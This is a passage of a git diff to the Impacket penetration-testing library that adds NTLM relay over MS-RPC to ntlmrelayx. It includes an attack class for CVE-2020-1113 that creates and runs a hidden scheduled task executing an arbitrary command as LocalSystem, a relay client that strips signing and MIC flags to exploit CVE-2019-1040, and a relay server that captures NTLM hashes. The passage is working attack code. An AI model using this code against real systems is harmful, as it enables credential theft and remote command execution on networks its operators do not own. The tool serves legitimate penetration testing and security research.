- resp['frag_len'] = 0 | |
- resp['auth_len'] = 0 | |
- resp['auth_data'] = b'' | |
- resp['call_id'] = packet['call_id'] | |
resp['max_tfrag'] = bind['max_tfrag'] | |
resp['max_rfrag'] = bind['max_rfrag'] | |
resp['assoc_group'] = 0x1234 | |
- resp['ctx_num'] = 0 | |
- data = bind['ctx_items'] | |
- ctx_items = b'' | |
- resp['SecondaryAddrLen'] = 0 | |
- for i in range(bind['ctx_num']): | |
+ for ctxItem in bind.getCtxItems(): | |
result = MSRPC_CONT_RESULT_USER_REJECT | |
- item = CtxItem(data) | |
- data = data[len(item):] | |
- | |
+ transferSyntax = uuidtup_to_bin(MSRPC_STANDARD_NDR_SYNTAX) | |
+ | |
+ syntax, version = bin_to_uuidtup(ctxItem['TransferSyntax']) | |
+ # Answer to Bind Time Feature Negotiation Request | |
+ if syntax.startswith(MSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIX) and version == "1.0": | |
+ result = MSRPC_CONT_RESULT_NEGOTIATE_ACK | |
+ reason = 3 | |
+ transferSyntax = "\x00" * 20 | |
# First we check the Transfer Syntax is NDR32, what we support | |
- if item['TransferSyntax'] == uuidtup_to_bin(NDRSyntax): | |
+ elif (syntax, version) == MSRPC_STANDARD_NDR_SYNTAX: | |
# Now Check if the interface is what we listen | |
reason = 1 # Default, Abstract Syntax not supported | |
for j in self._listenUUIDS: | |
- if item['AbstractSyntax'] == j: | |
+ if ctxItem['AbstractSyntax'] == j: | |
# Match, we accept the bind request | |
- resp['SecondaryAddr'] = self._listenUUIDS[item['AbstractSyntax']]['SecondaryAddr'] | |
- resp['SecondaryAddrLen'] = len(resp['SecondaryAddr'])+1 | |
+ resp['SecondaryAddr'] = self._listenUUIDS[ctxItem['AbstractSyntax']]['SecondaryAddr'] | |
reason = 0 | |
self._boundUUID = j | |
else: | |
# Fail the bind request for this context | |
reason = 2 # Transfer Syntax not supported | |
+ | |
if reason == 0: | |
- result = MSRPC_CONT_RESULT_ACCEPT | |
+ result = MSRPC_CONT_RESULT_ACCEPT | |
if reason == 1: | |
- LOG.error('Bind request for an unsupported interface %s' % bin_to_uuidtup(item['AbstractSyntax'])) | |
+ LOG.error('Bind request for an unsupported interface %s' % bin_to_string(ctxItem['AbstractSyntax'])) | |
- resp['ctx_num'] += 1 | |
itemResult = CtxItemResult() | |
itemResult['Result'] = result | |
itemResult['Reason'] = reason | |
- itemResult['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) | |
- ctx_items += itemResult.getData() | |
- | |
- resp['Pad'] ='A'*((4-((resp["SecondaryAddrLen"]+MSRPCBindAck._SIZE) % 4))%4) | |
- resp['ctx_items'] = ctx_items | |
- resp['frag_len'] = len(resp.getData()) | |
+ itemResult['TransferSyntax'] = uuidtup_to_bin(MSRPC_STANDARD_NDR_SYNTAX) | |
+ resp.addCtxItem(itemResult) | |
- self._clientSock.send(resp.getData()) | |
- return None | |
+ return resp | |
def processRequest(self,data): | |
packet = MSRPCHeader(data) | |
if packet['type'] == MSRPC_BIND: | |
- bind = MSRPCBind(packet['pduData']) | |
- self.bind(packet, bind) | |
- packet = None | |
+ bind = MSRPCBind(packet['pduData']) | |
+ response = MSRPCHeader() | |
+ response['type'] = MSRPC_BINDACK | |
+ response['pduData'] = self.bind(packet, bind).getData() | |
elif packet['type'] == MSRPC_REQUEST: | |
request = MSRPCRequestHeader(data) | |
- response = MSRPCRespHeader(data) | |
+ response = MSRPCRespHeader() | |
response['type'] = MSRPC_RESPONSE | |
# Serve the opnum requested, if not, fails | |
- if request['op_num'] in self._listenUUIDS[self._boundUUID]['CallBacks']: | |
+ if self._boundUUID in self._listenUUIDS and request['op_num'] in self._listenUUIDS[self._boundUUID]['CallBacks']: | |
# Call the function | |
returnData = self._listenUUIDS[self._boundUUID]['CallBacks'][request['op_num']](request['pduData']) | |
+ response['ctx_id'] = request['ctx_id'] | |
response['pduData'] = returnData | |
else: | |
LOG.error('Unsupported DCERPC opnum %d called for interface %s' % (request['op_num'], bin_to_uuidtup(self._boundUUID))) | |
response['type'] = MSRPC_FAULT | |
response['pduData'] = pack('<L',0x000006E4) | |
- response['frag_len'] = len(response) | |
- return response | |
else: | |
# Defaults to a fault | |
- packet = MSRPCRespHeader(data) | |
- packet['type'] = MSRPC_FAULT | |
+ response = MSRPCHeader() | |
+ response['type'] = MSRPC_FAULT | |
- return packet | |
+ response['call_id'] = packet['call_id'] | |
+ response['flags'] = packet['flags'] | |
+ return response | |
diff --git a/impacket/examples/ntlmrelayx/attacks/rpcattack.py b/impacket/examples/ntlmrelayx/attacks/rpcattack.py | |
new file mode 100644 | |
index 00000000..ce6d1a1f | |
--- /dev/null | |
+++ b/impacket/examples/ntlmrelayx/attacks/rpcattack.py | |
@@ -0,0 +1,95 @@ | |
+# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. | |
+# | |
+# This software is provided under under a slightly modified version | |
+# of the Apache Software License. See the accompanying LICENSE file | |
+# for more information. | |
+# | |
+# RPC Attack Class | |
+# | |
+# Authors: | |
+# Alberto Solino (@agsolino) | |
+# Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com) | |
+# | |
+import cgi | |
+import random | |
+import string | |
+import time | |
+ | |
+from impacket import LOG | |
+from impacket.dcerpc.v5 import tsch | |
+from impacket.dcerpc.v5.dtypes import NULL | |
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack | |
+ | |
+PROTOCOL_ATTACK_CLASS = "RPCAttack" | |
+ | |
+# Attack for CVE-2020-1113 | |
+class RPCAttack(ProtocolAttack): | |
+ """ | |
+ This is the RPC default attack class. | |
+ It will execute a command | |
+ """ | |
+ PLUGIN_NAMES = ["RPC"] | |
+ | |
+ def __init__(self, config, RPCClient, username): | |
+ """ | |
+ :param config: NTLMRelayxConfig | |
+ :param RPCClient: DCERPC Transport | |
+ :param username: Username of the current session | |
+ """ | |
+ ProtocolAttack.__init__(self, config, RPCClient, username) | |
+ | |
+ def run(self): | |
+ try: | |
+ if self.config.command is not None: | |
+ LOG.info("Trying to execute specified command (%s)", self.config.command) | |
+ | |
+ tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) | |
+ tmpFileName = tmpName + '.tmp' | |
+ | |
+ xml = """<?xml version="1.0" encoding="UTF-16"?><Task version="1.2" | |
+ xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"><Triggers><CalendarTrigger | |
+ ><StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary><Enabled>true</Enabled><ScheduleByDay | |
+ ><DaysInterval>1</DaysInterval></ScheduleByDay></CalendarTrigger></Triggers><Principals><Principal | |
+ id="LocalSystem"><UserId>S-1-5-18</UserId><RunLevel>HighestAvailable</RunLevel></Principal | |
+ ></Principals><Settings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy | |
+ ><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false | |
+ </StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><RunOnlyIfNetworkAvailable | |
+ >false</RunOnlyIfNetworkAvailable><IdleSettings><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle | |
+ >false</RestartOnIdle></IdleSettings><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true | |
+ </Enabled><Hidden>true</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun | |
+ ><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority></Settings><Actions | |
+ Context="LocalSystem"><Exec><Command>cmd.exe</Command><Arguments>/C %s > %%windir%%\\Temp\\%s | |
+ 2>&1</Arguments></Exec></Actions></Task>""" % (cgi.escape(self.config.command), tmpFileName) | |
+ taskCreated = False | |
+ try: | |
+ LOG.info('Creating task \\%s' % tmpName) | |
+ self.client.set_call_id(2) | |
+ tsch.hSchRpcRegisterTask(self.client, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, | |
+ tsch.TASK_LOGON_NONE) | |
+ taskCreated = True | |
+ | |
+ LOG.info('Running task \\%s' % tmpName) | |
+ tsch.hSchRpcRun(self.client, '\\%s' % tmpName) | |
+ | |
+ done = False | |
+ while not done: | |
+ LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) | |
+ resp = tsch.hSchRpcGetLastRunInfo(self.client, '\\%s' % tmpName) | |
+ if resp['pLastRuntime']['wYear'] != 0: | |
+ done = True | |
+ else: | |
+ time.sleep(2) | |
+ | |
+ LOG.info('Deleting task \\%s' % tmpName) | |
+ tsch.hSchRpcDelete(self.client, '\\%s' % tmpName) | |
+ taskCreated = False | |
+ except Exception as e: | |
+ LOG.error('Task creation or execution failed with error: %s' % e) | |
+ finally: | |
+ if taskCreated is True: | |
+ tsch.hSchRpcDelete(dce, '\\%s' % tmpName) | |
+ | |
+ else: | |
+ LOG.error("No default command configured, try with -c [command]") | |
+ except Exception as e: | |
+ LOG.error(str(e)) | |
diff --git a/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py | |
new file mode 100644 | |
index 00000000..fabe140c | |
--- /dev/null | |
+++ b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py | |
@@ -0,0 +1,174 @@ | |
+# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. | |
+# | |
+# This software is provided under under a slightly modified version | |
+# of the Apache Software License. See the accompanying LICENSE file | |
+# for more information. | |
+# | |
+# RPC Protocol Client | |
+# | |
+# Author: | |
+# Sylvain Heiniger / Compass Security (@sploutchy / https://www.compass-security.com) | |
+# | |
+# Description: | |
+# RPC client for relaying NTLMSSP authentication to RPC servers | |
+# | |
+ | |
+from impacket.dcerpc.v5.transport import * | |
+from impacket.dcerpc.v5.rpcrt import * | |
+from impacket.dcerpc.v5 import tsch, epm | |
+from impacket.examples.ntlmrelayx.clients import ProtocolClient | |
+from impacket.nt_errors import STATUS_SUCCESS | |
+from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN,\ | |
+ NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION | |
+from impacket.spnego import SPNEGO_NegTokenResp | |
+ | |
+PROTOCOL_CLIENT_CLASSES = ["RPCRelayClient"] | |
+ | |
+ | |
+class RPCRelayClientException(Exception): | |
+ pass | |
+ | |
+ | |
+class RPCRelayClient(ProtocolClient): | |
+ PLUGIN_NAME = "RPC" | |
+ | |
+ def __init__(self, serverConfig, target, targetPort=135, extendedSecurity=True): | |
+ ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) | |
+ self.extendedSecurity = extendedSecurity | |
+ self.negotiateMessage = None | |
+ self.authenticateMessageBlob = None | |
+ self.dcerpc_transport = None | |
+ self.__callid = 1 | |
+ | |
+ def killConnection(self): | |
+ if self.session is not None: | |
+ self.session.socket.close() | |
+ self.session = None | |
+ | |
+ def initConnection(self): | |
+ # FIRST DO A EPM PORTMAP | |
+ binding = epm.hept_map(self.targetHost, tsch.MSRPC_UUID_TSCHS, protocol='ncacn_ip_tcp') | |
+ if binding is not None: | |
+ dcerpc_transport_factory = DCERPCTransportFactory(binding) | |
+ self.dcerpc_transport = dcerpc_transport_factory.get_dce_rpc() | |
+ self.dcerpc_transport.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT) | |
+ self.dcerpc_transport.set_auth_type(RPC_C_AUTHN_WINNT) | |
+ self.dcerpc_transport.connect() | |
+ | |
+ return True | |
+ return False | |
+ | |
+ def sendNegotiate(self, negotiateMessage): | |
+ try: | |
+ negoMessage = NTLMAuthNegotiate() | |
+ negoMessage.fromString(negotiateMessage) | |
+ # When exploiting CVE-2019-1040, remove flags | |
+ if self.serverConfig.remove_mic: | |
+ if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: | |
+ negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN | |
+ if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: | |
+ negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN | |
+ | |
+ self.negotiateMessage = negoMessage.getData() | |
+ | |
+ response = self.do_send_negotiate(self.negotiateMessage) | |
+ challenge = NTLMAuthChallenge() | |
+ challenge.fromString(response['auth_data']) | |
+ return challenge | |
+ except Exception as e: | |
+ LOG.debug("Exception:", exc_info=True) | |
+ raise | |
+ | |
+ def do_send_negotiate(self, negotiate): | |
+ bind = MSRPCBind() | |
+ | |
+ item = CtxItem() | |
+ item['AbstractSyntax'] = tsch.MSRPC_UUID_TSCHS | |
+ item['TransferSyntax'] = uuidtup_to_bin(MSRPC_STANDARD_NDR_SYNTAX) | |
+ item['ContextID'] = self.dcerpc_transport._ctx | |
+ item['TransItems'] = 1 | |
+ bind.addCtxItem(item) | |
+ | |
+ packet = MSRPCHeader() | |
+ packet['type'] = MSRPC_BIND | |
+ packet['pduData'] = bind.getData() | |
+ packet['call_id'] = self.__callid | |
+ | |
+ sec_trailer = SEC_TRAILER() | |
+ sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT | |
+ sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT | |
+ sec_trailer['auth_ctx_id'] = self.dcerpc_transport._ctx + 79231 | |
+ | |
+ pad = (4 - (len(packet.get_packet()) % 4)) % 4 | |
+ if pad != 0: | |
+ packet['pduData'] += b'\xFF' * pad | |
+ sec_trailer['auth_pad_len'] = pad | |
+ | |
+ packet['sec_trailer'] = sec_trailer | |
+ packet['auth_data'] = negotiate | |
+ | |
+ self.dcerpc_transport._transport.send(packet.get_packet()) | |
+ | |
+ s = self.dcerpc_transport._transport.recv() | |
+ | |
+ if s != 0: | |
+ resp = MSRPCHeader(s) | |
+ else: | |
+ return 0 # mmm why not None? | |
+ | |
+ if resp['type'] == MSRPC_BINDACK: | |
+ self.dcerpc_transport.set_call_id(resp['call_id']) | |
+ bindResp = MSRPCBindAck(resp['pduData']) | |
+ self.dcerpc_transport.set_max_tfrag(bindResp['max_tfrag']) | |
+ return resp | |
+ else: | |
+ raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type']) | |
+ | |
+ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): | |
+ if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: | |
+ respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) | |
+ token = respToken2['ResponseToken'] | |
+ else: | |
+ token = authenticateMessageBlob | |
+ | |
+ authMessage = NTLMAuthChallengeResponse() | |
+ authMessage.fromString(token) | |
+ # When exploiting CVE-2019-1040, remove flags | |
+ if self.serverConfig.remove_mic: | |
+ if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: | |
+ authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN | |
+ if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: | |
+ authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN | |
+ if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: | |
+ authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH | |
+ if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: | |
+ authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION | |
+ authMessage['MIC'] = b'' | |
+ authMessage['MICLen'] = 0 | |
+ authMessage['Version'] = b'' | |
+ authMessage['VersionLen'] = 0 | |
+ token = authMessage.getData() | |
+ | |
+ self.authenticateMessageBlob = token | |
+ self.do_send_auth(authMessage) | |
+ self.session = self.dcerpc_transport | |
+ return None, STATUS_SUCCESS | |
+ | |
+ def do_send_auth(self, auth): | |
+ auth3 = MSRPCHeader() | |
+ auth3['type'] = MSRPC_AUTH3 | |
+ # pad (4 bytes): Can be set to any arbitrary value when set and MUST be | |
+ # ignored on receipt. The pad field MUST be immediately followed by a | |
+ # sec_trailer structure whose layout, location, and alignment are as | |
+ # specified in section 2.2.2.11 | |
+ auth3['pduData'] = b' ' | |
+ sec_trailer = SEC_TRAILER() | |
+ sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT | |
+ sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT | |
+ sec_trailer['auth_ctx_id'] = self.dcerpc_transport._ctx + 79231 | |
+ auth3['sec_trailer'] = sec_trailer | |
+ auth3['auth_data'] = auth | |
+ | |
+ # Use the same call_id | |
+ auth3['call_id'] = self.__callid | |
+ self.dcerpc_transport._transport.send(auth3.get_packet(), forceWriteAndx=1) | |
diff --git a/impacket/examples/ntlmrelayx/servers/__init__.py b/impacket/examples/ntlmrelayx/servers/__init__.py | |
index 21488772..db3092ef 100644 | |
--- a/impacket/examples/ntlmrelayx/servers/__init__.py | |
+++ b/impacket/examples/ntlmrelayx/servers/__init__.py | |
@@ -1,2 +1,3 @@ | |
from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer | |
from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer | |
+from impacket.examples.ntlmrelayx.servers.rpcrelayserver import RPCRelayServer | |
diff --git a/impacket/examples/ntlmrelayx/servers/rpcrelayserver.py b/impacket/examples/ntlmrelayx/servers/rpcrelayserver.py | |
new file mode 100644 | |
index 00000000..1e184512 | |
--- /dev/null | |
+++ b/impacket/examples/ntlmrelayx/servers/rpcrelayserver.py | |
@@ -0,0 +1,381 @@ | |
+#!/usr/bin/env python | |
+# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. | |
+# | |
+# This software is provided under under a slightly modified version | |
+# of the Apache Software License. See the accompanying LICENSE file | |
+# for more information. | |
+# | |
+# RPC Relay Server inspired from DCERPCServer | |
+# | |
+# Authors: | |
+# Sylvain Heiniger / Compass Security (@sploutchy / https://www.compass-security.com) | |
+# | |
+# Description: | |
+# This is the RPC server which relays the connections | |
+# to other protocols | |
+ | |
+import socketserver | |
+import struct | |
+from impacket.dcerpc.v5.rpcrt import * | |
+from impacket.dcerpc.v5.dcomrt import * | |
+from impacket.ntlm import NTLMSSP_AUTH_NEGOTIATE, NTLMSSP_AUTH_CHALLENGE_RESPONSE, NTLMSSP_AUTH_CHALLENGE | |
+from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile | |
+from impacket.nt_errors import ERROR_MESSAGES, STATUS_SUCCESS | |
+from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor | |
+from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections | |
+ | |
+ | |
+class RPCRelayServer(Thread): | |
+ class RPCSocketServer(socketserver.ThreadingMixIn, socketserver.TCPServer): | |
+ def __init__(self, server_address, RequestHandlerClass, config): | |
+ self.config = config | |
+ self.daemon_threads = True | |
+ if self.config.ipv6: | |
+ self.address_family = socket.AF_INET6 | |
+ socketserver.TCPServer.allow_reuse_address = True | |
+ socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass) | |
+ | |
+ class RPCHandler(socketserver.BaseRequestHandler): | |
+ def __init__(self, request, client_address, server): | |
+ self.client = None | |
+ self.target = None | |
+ self.auth_user = None | |
+ self.transport = None | |
+ self.request_header = None | |
+ self.request_pdu_data = None | |
+ self.request_sec_trailer = None | |
+ self.challengeMessage = None | |
+ socketserver.BaseRequestHandler.__init__(self, request, client_address, server) | |
+ | |
+ def setup(self): | |
+ self.transport = DCERPCServer(self.request) | |
+ IObjectExporterCallBacks = { | |
+ 5: self.send_ServerAlive2Response, | |
+ } | |
+ self.transport.addCallbacks(bin_to_uuidtup(IID_IObjectExporter), "135", IObjectExporterCallBacks) | |
+ | |
+ if self.server.config.target is None: | |
+ # Reflection mode, defaults to SMB at the target, for now | |
+ self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % clientAddress[0]) | |
+ self.target = self.server.config.target.getTarget(self.server.config.randomtargets) | |
+ LOG.info("RPCD: Received connection from %s, attacking target %s://%s" % ( | |
+ self.client_address[0], self.target.scheme, self.target.netloc)) | |
+ | |
+ def send_ServerAlive2Response(self, request): | |
+ response = ServerAlive2Response() | |
+ | |
+ stringBindings = [(TOWERID_DOD_TCP, self.target.hostname)] | |
+ securityBindings = [(RPC_C_AUTHN_WINNT, "")] | |
+ | |
+ array = b'' | |
+ for wTowerId, aNetworkAddr in stringBindings: | |
+ array += wTowerId.to_bytes(1, byteorder='little') # formatting in a ushort is performed later | |
+ array += aNetworkAddr.encode('utf8') + b'\x00' | |
+ array += b'\x00' * (2 - (len(array) % 2)) # Fix alignment | |
+ response['ppdsaOrBindings']['wSecurityOffset'] = len(array) | |
+ for wAuthnSvc, aPrincName in securityBindings: | |
+ array += wAuthnSvc.to_bytes(1, byteorder='little') | |
+ array += b'\xff' # This should be \xff\xff but as it's formatted on a ushort, it doesn't work |-( | |
+ array += aPrincName.encode('utf8') + b'\x00' | |
+ array += b'\x00' * (2 - (len(array) % 2)) # Fix alignment | |
+ response['ppdsaOrBindings']['wNumEntries'] = len(array) | |
+ response['ppdsaOrBindings']['aStringArray'] = array | |
+ | |
+ return response | |
+ | |
+ def handle(self): | |
+ try: | |
+ while True: | |
+ data = self.transport.recv() | |
+ if data is None: | |
+ # No data: connection closed | |
+ LOG.debug('RPC: Connection closed by client') | |
+ return | |
+ response = self.handle_single_request(data) | |
+ # if not response: | |
+ # Nothing more to say, close connection | |
+ # return | |
+ if response: | |
+ LOG.debug('RPC: Sending packet of type %s' % msrpc_message_type[response['type']]) | |
+ self.transport.send(response) | |
+ except KeyboardInterrupt: | |
+ raise | |
+ except ConnectionResetError: | |
+ LOG.error("Connection reset.") | |
+ except Exception as e: | |
+ LOG.debug("Exception:", exc_info=True) | |
+ LOG.error('Exception in RPC request handler: %s' % e) | |
+ | |
+ def handle_single_request(self, data): | |
+ self.request_header = MSRPCHeader(data) | |
+ req_type = self.request_header['type'] | |
+ LOG.debug('RPC: Received packet of type %s' % msrpc_message_type[req_type]) | |
+ if req_type in (MSRPC_BIND, MSRPC_ALTERCTX): | |
+ self.request_pdu_data = MSRPCBind(self.request_header['pduData']) | |
+ elif req_type == MSRPC_AUTH3: | |
+ # We don't need the data and don't have AUTH3 Structure anyway | |
+ # self.requestPduData = MSRPCAUTH3(self.requestHeader['pduData']) | |
+ pass | |
+ elif req_type == MSRPC_REQUEST: | |
+ # This is a RPC request, we try to answer it the best we can. | |
+ return self.transport.processRequest(data) | |
+ else: | |
+ LOG.error('Packet type received not supported (yet): %a' % msrpc_message_type[req_type]) | |
+ return self.send_error(MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_TYPE) | |
+ | |
+ if self.request_header['auth_len'] <= 0: | |
+ if req_type == MSRPC_BIND: | |
+ # Let's answer to the bind anyway, maybe a second request with authentication comes later | |
+ LOG.debug('Answering to a BIND without authentication') | |
+ return self.transport.processRequest(data) | |
+ LOG.error('Packet is no BIND and does not contain authentication') | |
+ return self.send_error(MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH) | |
+ | |
+ self.request_sec_trailer = SEC_TRAILER(self.request_header['sec_trailer']) | |
+ | |
+ auth_type = self.request_sec_trailer['auth_type'] | |
+ if auth_type == RPC_C_AUTHN_NONE: | |
+ # What should we do here :( | |
+ LOG.error('Packet contains "None" authentication') | |
+ return self.send_error(MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH) | |
+ elif auth_type == RPC_C_AUTHN_GSS_NEGOTIATE: | |
+ if req_type == MSRPC_AUTH3: | |
+ raise Exception('AUTH3 packet contains "SPNEGO" authentication') | |
+ # Negotiate NTLM! | |
+ raise NotImplementedError('SPNEGO auth_type not implemented yet') | |
+ elif auth_type == RPC_C_AUTHN_WINNT or auth_type == RPC_C_AUTHN_DEFAULT: | |
+ # Great success! | |
+ if req_type not in (MSRPC_BIND, MSRPC_ALTERCTX, MSRPC_AUTH3): | |
+ raise Exception('Packet type received not supported (yet): %s' % msrpc_message_type[req_type]) | |
+ return self.negotiate_ntlm_session() | |
+ elif auth_type == RPC_C_AUTHN_GSS_SCHANNEL or auth_type == RPC_C_AUTHN_GSS_KERBEROS or auth_type == RPC_C_AUTHN_NETLOGON: | |
+ # Try to ask for NTLM? | |
+ # Reply with rpc_s_unknown_authn_service? | |
+ # Try answering with other error codes? | |
+ raise NotImplementedError('Auth type %s not implemented yet' % auth_type) | |
+ else: | |
+ raise Exception('Auth type received not supported (yet): %d' % auth_type) | |
+ | |
+ def negotiate_ntlm_session(self): | |
+ token = self.request_header['auth_data'] | |
+ messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] | |
+ if messageType == NTLMSSP_AUTH_NEGOTIATE: | |
+ negotiateMessage = ntlm.NTLMAuthNegotiate() | |
+ negotiateMessage.fromString(token) | |
+ | |
+ try: | |
+ self.do_ntlm_negotiate(token) # Computes the challenge message | |
+ if not self.challengeMessage or self.challengeMessage is False: | |
+ raise Exception("Client send negotiated failed.") | |
+ return self.bind(self.challengeMessage) | |
+ except Exception as e: | |
+ # Connection failed | |
+ LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', | |
+ self.target.scheme, self.target.netloc) | |
+ self.server.config.target.logTarget(self.target) | |
+ return self.send_error(MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED) | |
+ | |
+ elif messageType == NTLMSSP_AUTH_CHALLENGE: | |
+ raise Exception('Challenge Message raise, not implemented!') | |
+ | |
+ elif messageType == NTLMSSP_AUTH_CHALLENGE_RESPONSE: | |
+ authenticateMessage = ntlm.NTLMAuthChallengeResponse() | |
+ authenticateMessage.fromString(token) | |
+ | |
+ # Only skip to next if the login actually failed, not if it was just anonymous login | |
+ if authenticateMessage['user_name'] == b'': | |
+ # Anonymous login | |
+ LOG.error('Empty username ... just waiting') | |
+ return None | |
+ # LOG.error('Empty username ... answering with %s' % rpc_status_codes[MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED]) | |
+ # return self.send_error(MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED) | |
+ | |
+ try: | |
+ self.do_ntlm_auth(token, authenticateMessage) | |
+ | |
+ # Relay worked, do whatever we want here... | |
+ if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: | |
+ LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( | |
+ self.target.scheme, self.target.netloc, | |
+ authenticateMessage['domain_name'].decode('utf-16le'), | |
+ authenticateMessage['user_name'].decode('utf-16le'))) | |
+ else: | |
+ LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( | |
+ self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), | |
+ authenticateMessage['user_name'].decode('ascii'))) | |
+ | |
+ # Log this target as processed for this client | |
+ self.server.config.target.logTarget(self.target, True, self.auth_user) | |
+ | |
+ ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], | |
+ authenticateMessage['user_name'], | |
+ authenticateMessage['domain_name'], | |
+ authenticateMessage['lanman'], authenticateMessage['ntlm']) | |
+ self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data | |
+ | |
+ if self.server.config.outputFile is not None: | |
+ writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], | |
+ self.server.config.outputFile) | |
+ | |
+ self.do_attack() | |
+ return self.send_error(MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED) | |
+ except Exception as e: | |
+ if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: | |
+ LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( | |
+ self.target.scheme, self.target.netloc, | |
+ authenticateMessage['domain_name'].decode('utf-16le'), | |
+ authenticateMessage['user_name'].decode('utf-16le'))) | |
+ else: | |
+ LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( | |
+ self.target.scheme, self.target.netloc, | |
+ authenticateMessage['domain_name'].decode('ascii'), | |
+ authenticateMessage['user_name'].decode('ascii'))) | |
+ | |
+ self.server.config.target.logTarget(self.target) | |
+ raise | |
+ else: | |
+ raise Exception("Unknown NTLMSSP MessageType %d" % messageType) | |
+ | |
+ def do_ntlm_negotiate(self, token): | |
+ if self.target.scheme.upper() in self.server.config.protocolClients: | |
+ self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, | |
+ self.target) | |
+ # If connection failed, return | |
+ if not self.client.initConnection(): | |
+ raise Exception("Client connection failed.") | |
+ self.challengeMessage = self.client.sendNegotiate(token) | |
+ | |
+ # Remove target NetBIOS field from the NTLMSSP_CHALLENGE | |
+ if self.server.config.remove_target: | |
+ av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields']) | |
+ del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] | |
+ self.challengeMessage['TargetInfoFields'] = av_pairs.getData() | |
+ self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData()) | |
+ self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData()) | |
+ else: | |
+ LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper()) | |
+ raise Exception('Protocol Client for %s not found!' % self.target.scheme.upper()) | |
+ | |
+ def bind(self, challengeMessage=b''): | |
